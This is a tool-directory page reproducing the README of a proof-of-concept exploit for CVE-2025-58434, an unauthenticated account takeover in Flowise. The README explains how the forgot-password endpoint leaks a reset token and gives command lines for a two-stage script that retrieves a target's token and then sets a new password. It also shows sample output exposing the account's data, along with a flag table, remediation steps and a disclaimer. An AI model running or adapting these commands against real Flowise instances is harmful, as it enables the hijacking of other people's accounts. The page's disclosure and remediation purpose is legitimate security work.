Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-58434-poc | Kitploit
Tools/GitHubGitHub/kartik2005221/cve-2025-58434-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRed Teaming
GitHubkartik2005221/cve-2025-58434-poc

CVE-2025-58434-poc

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-58434 — Flowise Account Takeover via Token Disclosure

CVE CVSS Python License Disclosure

⚠️ This repository is for educational and authorized security research only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal.


Table of Contents

  • Overview
  • Vulnerability Details
  • Attack Flow
  • Affected Versions
  • Repository Structure
  • Requirements
  • Installation
  • Usage
  • Example Output
  • Remediation
  • Disclosure Timeline
  • References
  • Disclaimer

Overview

The forgot-password endpoint in Flowise (both cloud-hosted and self-hosted) returns a valid password reset token (tempToken) directly in the HTTP response body — without any email verification or authentication.

This means an attacker who knows (or can guess) a victim's email address can:

  1. Call the forgot-password endpoint → receive the tempToken in the JSON response
  2. Use the tempToken to call reset-password → set an arbitrary new password
  3. Log in as the victim → full account takeover (ATO)

No prior access, no user interaction, and no email access is required.


Vulnerability Details

Root Cause

The forgot-password handler returns the entire user record — including the generated tempToken — directly in the API response instead of only sending it to the user's registered email address.

root@kitploit:~
{
  "user": {
    "id": "<uuid>",
    "name": "Victim Name",
    "email": "[email protected]",
    "credential": "<bcrypt-hash>",
    "tempToken": "<LEAKED_TOKEN_HERE>",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

Attack Flow

root@kitploit:~
Attacker                              Flowise API
   │                                       │
   │  POST /forgot-password {email}        │
   │──────────────────────────────────────►│
   │                                       │  (generates tempToken)
   │◄──────────────────────────────────────│
   │  201 { tempToken: "abc123..." }       │
   │                                       │
   │  POST /reset-password {email,         │
   │         tempToken, newPassword}       │
   │──────────────────────────────────────►│
   │                                       │
   │◄──────────────────────────────────────│
   │  200 OK  (password changed!)          │
   │                                       │
   ✓  Account Takeover Complete

Affected Versions

  • Flowise Cloud (cloud.flowiseai.com) — confirmed affected
  • All self-hosted Flowise deployments prior to the patch

Check the official Flowise GitHub for patched release information.


Repository Structure

root@kitploit:~
CVE-2025-58434/
├── cve_2025_58434_poc.py   # Main PoC script (two-stage ATO)
├── requirements.txt         # Python dependencies
├── README.md                # This file
└── DISCLAIMER.md            # Legal notice (read before use)

Requirements

  • Python 3.7 or higher
  • requests library

Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434

# Install dependencies
pip install -r requirements.txt

Usage

Help Screen

root@kitploit:~
python3 cve_2025_58434_poc.py --help

Stage 1 — Leak the Token (Reconnaissance)

Confirm the instance is vulnerable and retrieve the tempToken without resetting any password.

root@kitploit:~
python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected]

Stage 2 — Full Account Takeover

Use the leaked token to reset the password immediately.

root@kitploit:~
python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected] \
  --reset \
  --new-password "MyNewP@ss2025!"

Dump Raw JSON Response

root@kitploit:~
python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected] \
  --json-output

All Options


Example Output

root@kitploit:~
  [Step 1] Sending forgot-password request …
  [*] HTTP Status : 201

  ========================================================================
    LEAKED ACCOUNT DATA
  ========================================================================
    User ID       : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
    Name          : Admin User
    Email         : [email protected]
    Credential    : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    Status        : active
    tempToken     : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
    tokenExpiry   : 2025-08-19T13:00:33.834Z
  ========================================================================

  [+] tempToken obtained  : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  [!] VULNERABLE: The instance leaks password reset tokens unauthenticated!

Remediation

If you are a Flowise instance operator, apply the following mitigations immediately:

  1. Never return reset tokens in API responses. Send the token exclusively via the registered email address.
  2. Return a generic success message from forgot-password regardless of whether the email exists — this also prevents account enumeration.
  3. Enforce token constraints:
    • Single-use (invalidate after first use)
    • Short expiry (e.g., 15 minutes)
    • Tied to the requesting IP / User-Agent where possible
  4. Apply the fix to all deployment models — cloud and self-hosted.
  5. Add rate limiting to the forgot-password endpoint.
  6. Log and alert on abnormal password reset activity.
  7. Consider MFA for administrator and high-privilege accounts.

Disclosure Timeline

DateEvent
2025-08-19Vulnerability discovered and reported
TBDVendor acknowledgement
TBDPatch released
TBDPublic disclosure

References

  • GitHub Advisory GHSA-wgpv-6j63-x5ph
  • NVD — CVE-2025-58434
  • Flowise GitHub Repository
  • CWE-640: Weak Password Recovery Mechanism

Disclaimer

This project is intended solely for educational purposes and authorized penetration testing.

  • Do NOT run this tool against any system without explicit written permission from the system owner.
  • The author(s) of this repository accept no responsibility for any misuse, damage, or legal consequences arising from unauthorized use.
  • See DISCLAIMER.md for the full legal notice.
Download Tool
FieldValue
CVE IDCVE-2025-58434
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-640: Weak Password Recovery Mechanism
TypeAuthentication Bypass / Insecure Direct Object Exposure
Affected AppFlowise (cloud + self-hosted)
Endpoint 1POST /api/v1/account/forgot-password
Endpoint 2POST /api/v1/account/reset-password
FlagShortDescriptionDefault
--url URL-uBase URL of the Flowise instance(required)
--email EMAIL-eTarget account email address(required)
--reset-rPerform Stage 2: reset password with leaked tokenFalse
--new-password PASS-pNew password to set (used with --reset)Changeme@2025!
--timeout SECONDS-tHTTP request timeout10
--json-output-jPrint raw JSON API response to stdoutFalse